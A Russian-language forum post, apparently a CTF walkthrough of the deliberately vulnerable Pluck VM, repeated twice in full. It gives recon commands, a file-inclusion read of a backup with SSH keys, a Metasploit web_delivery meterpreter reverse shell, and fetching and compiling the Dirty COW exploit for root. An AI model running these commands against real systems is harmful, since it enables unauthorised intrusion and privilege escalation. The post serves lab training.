Привет! В этой статье речь пойдет о CTF - Capture the Flag — это хакерские соревнования. На форуме есть несколько статей подобной тематики, поэтому, я не буду заострять внимание на подробностях, а сразу перейду к делу. Сегодня в качестве уязвимой системы я буду использовать Pluck VM.
Скачать уязвимую VM можно отсюда -
Монтируем образ в VM Ware и запускаем. Теперь необходимо выяснить адрес VM в нашей сети:
> netdiscover – r 172.16.0.1/16
Я выделил желтым ее адрес в моей локальной сети. Запустим сканирование портов:
> nmap –p- -A 172.16.0.163
На данном этапе сканирования, интерес представляет открытый 80 порт и запущенный на нем Apache, к нему присмотримся внимательней, с помощью nikto:
> nikto –h
Здесь внимание привлекает обнаруженная уязвимость, которая позволит просмотреть все файлы на сервере. Воспользуемся этим, поместим данную информацию в адресную строку браузера.
Из всего, того, что мы здесь видим, нас больше всего интересует путь к файлу с бэкапом, его и подставим следующим в адресную строку:
Теперь мы знаем, где хранится архив с бэкапом, и можем его вытащить оттуда с помощью wget:
> wget
Естественно следующим шагом будет распаковка архива:
> tar –xvf index.php\?page\=%2Fbackups%2Fbackup.tar
Распаковка прошла не совсем удачно, зато мы нашли папку /home и три папки пользователей.
Во всех папках пусто, кроме /paul, внутри находятся файлы со следующим содержимым:
Это не что иное, как файлы ключей ssh, перебирая по порядку, мне удалось залогиниться на сервере с помощью 4-го ключа:
Встречает нас Pdmenu, для тех кто не в курсе, это такой способ разрешить незнакомому с консолью человеку выполнять какие либо действия на сервере, используя удобное меню, и не заморачиваясь с введением команд. Так оно выглядит:
На мысль об уязвимости наталкивает пункт в меню – Edit File. Вероятно, с его помощью мы сможем выполнить произвольный код.
Для эксплуатации этой уязвимости будем использовать Web Delivery Exploit представленный в Metasploit Framework:
> msfconsole
> use exploit/multi/script/web_delivery
> set target 1
> set payload php/meterpreter/reverse_tcp
> set lhost 192.168.0.106
> set lport 4444
> set srvport 8081
> exploit
Выделенную строку копируем в поле изменения файла:
НО, перед началом строки ставим - ;
Затем жмем enter и выходим из vi, вернувшись на скрин с Metasploit, видим открытую сессию meterpreter:
Осмотримся в системе и откроем shell:
Для повышения привилегий в системе используем эксплоит Dirty Cow, скачиваем его через шелл на уязвимый хост:
> wget
Переименуем сохраненный файл 40616, к примеру, в shell.c и скомпилируем его в исполняемый файл с помощью компилятора gcc и опции –pthread:
> mv 40616 shell.c
> gcc shell.c –o cow –pthread
Запускаем наш готовый файл:
> ./cow
Перейдем в каталог /root
> cd /root
> ls –a
И возьмем флаг:
> cat flag.txt
На этом прохождение Pluck VM закончено. Спасибо за внимание.
Скачать уязвимую VM можно отсюда -
Ссылка скрыта от гостей
Монтируем образ в VM Ware и запускаем. Теперь необходимо выяснить адрес VM в нашей сети:
> netdiscover – r 172.16.0.1/16
Я выделил желтым ее адрес в моей локальной сети. Запустим сканирование портов:
> nmap –p- -A 172.16.0.163
На данном этапе сканирования, интерес представляет открытый 80 порт и запущенный на нем Apache, к нему присмотримся внимательней, с помощью nikto:
> nikto –h
Ссылка скрыта от гостей
Здесь внимание привлекает обнаруженная уязвимость, которая позволит просмотреть все файлы на сервере. Воспользуемся этим, поместим данную информацию в адресную строку браузера.
Из всего, того, что мы здесь видим, нас больше всего интересует путь к файлу с бэкапом, его и подставим следующим в адресную строку:
Теперь мы знаем, где хранится архив с бэкапом, и можем его вытащить оттуда с помощью wget:
> wget
Ссылка скрыта от гостей
Естественно следующим шагом будет распаковка архива:
> tar –xvf index.php\?page\=%2Fbackups%2Fbackup.tar
Распаковка прошла не совсем удачно, зато мы нашли папку /home и три папки пользователей.
Во всех папках пусто, кроме /paul, внутри находятся файлы со следующим содержимым:
Это не что иное, как файлы ключей ssh, перебирая по порядку, мне удалось залогиниться на сервере с помощью 4-го ключа:
Встречает нас Pdmenu, для тех кто не в курсе, это такой способ разрешить незнакомому с консолью человеку выполнять какие либо действия на сервере, используя удобное меню, и не заморачиваясь с введением команд. Так оно выглядит:
На мысль об уязвимости наталкивает пункт в меню – Edit File. Вероятно, с его помощью мы сможем выполнить произвольный код.
Для эксплуатации этой уязвимости будем использовать Web Delivery Exploit представленный в Metasploit Framework:
> msfconsole
> use exploit/multi/script/web_delivery
> set target 1
> set payload php/meterpreter/reverse_tcp
> set lhost 192.168.0.106
> set lport 4444
> set srvport 8081
> exploit
Выделенную строку копируем в поле изменения файла:
НО, перед началом строки ставим - ;
Затем жмем enter и выходим из vi, вернувшись на скрин с Metasploit, видим открытую сессию meterpreter:
Осмотримся в системе и откроем shell:
Для повышения привилегий в системе используем эксплоит Dirty Cow, скачиваем его через шелл на уязвимый хост:
> wget
Ссылка скрыта от гостей
Переименуем сохраненный файл 40616, к примеру, в shell.c и скомпилируем его в исполняемый файл с помощью компилятора gcc и опции –pthread:
> mv 40616 shell.c
> gcc shell.c –o cow –pthread
Запускаем наш готовый файл:
> ./cow
Перейдем в каталог /root
> cd /root
> ls –a
И возьмем флаг:
> cat flag.txt
На этом прохождение Pluck VM закончено. Спасибо за внимание.